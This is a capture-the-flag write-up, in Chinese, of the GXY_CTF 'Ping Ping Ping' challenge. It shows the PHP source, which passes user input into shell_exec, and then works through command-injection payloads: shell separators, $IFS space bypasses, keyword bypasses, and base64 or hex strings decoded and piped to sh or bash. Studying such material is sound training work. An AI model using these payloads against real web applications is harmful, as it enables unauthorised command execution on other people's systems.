简析GXY_CTF “Ping Ping Ping”命令执行 1 min read
本文最后更新于 126 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore (比赛平台id:Y1ng)

blog: https://www.gem-love.com

主页:http://y1ng.net


题目比较简单,考点就是命令执行及一些绕过姿势。

命令联合执行

两条linux shell命令一起执行,中间的分隔符一般有以下几种

  • ;
  • &&
  • || 
  • %0a 
  • %0d 
  • | (管道符)   

打开题目测试发现,ping x.x.x.x -c 4

fuzz后发现,管道符|和分号;没有被ban,导致可以两条命令同时执行

127.0.0.1;env

绕过空格过滤

继续fuzz,发现空格被ban了

对于空格,可以使用但不限于以下几种替代方案:

  • $IFS
  • ${IFS}
  • $IFS$9
  • <
  • <>
  • {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
  • %20
  • %09 

发现{ } < > %09都被ban了,但是可以使用$IFS$IFS$9来绕过空格过滤

绕过关键字黑名单

bypass空格过滤,查看index.php的源代码

?ip=127.0.0.1%3Bcat%24IFS%249index.php
<?php
if(isset($_GET['ip'])){
        $ip = $_GET['ip'];
        if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
                echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
                die("fxck your symbol!");
        }
        else if(preg_match("/ /", $ip)){
                die("fxck your space!");
        }
        else if(preg_match("/bash/", $ip)){
                die("fxck your bash!");
        }
        else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
                die("fxck your flag!");
        }
        $a = shell_exec("ping -c 4 ".$ip);
        echo "<pre>";
        print_r($a);
}

?>

可见flag被ban了,同样的方法cat$IFS$9flag.php就会die("fxck your flag");

绕过关键字,可以使用但不限于以下几种方法:

  • ca\t y1n\g.php        反斜线绕过
  • cat y1”ng.php        两个单引号绕过
  • echo “Y2F0IHkxbmcucGhw” | base64 -d | bash       base64编码绕过(引号可以去掉)
  • echo “6361742079316E672E706870” | xxd -r -p | bash       hex编码绕过(引号可以去掉)
  • cat y1[n]g.php       用[]匹配
  • cat y1n*       用*匹配任意
  • 内联执行

根据index.php的源码中的正则匹配,本题目可以使用变量拼接绕过

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

得到flag: GXY{1_sh0uld_ban_Icmp_4tFirst}

内联执行:

所谓内联执行,就是将反引号``内命令的输出作为另一个命令的输入,直接上payload:

?ip=127.0.0.1;a=g;cat$IFS$9`ls`

`ls`的执行结果(index.php和flag.php)作为cat的输入,直接得到index.phpflag.php的源码

官方解法:

实际上是用base64,然后因为ban掉了bash,用sh代替

payload:

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

根据源代码的正则匹配,理论上也可以用HEX编码绕过,payload:

?ip=127.0.0.1;echo$IFS$963617420666C61672E706870|xxd$IFS$9-r$IFS$9-p|sh

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/516.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇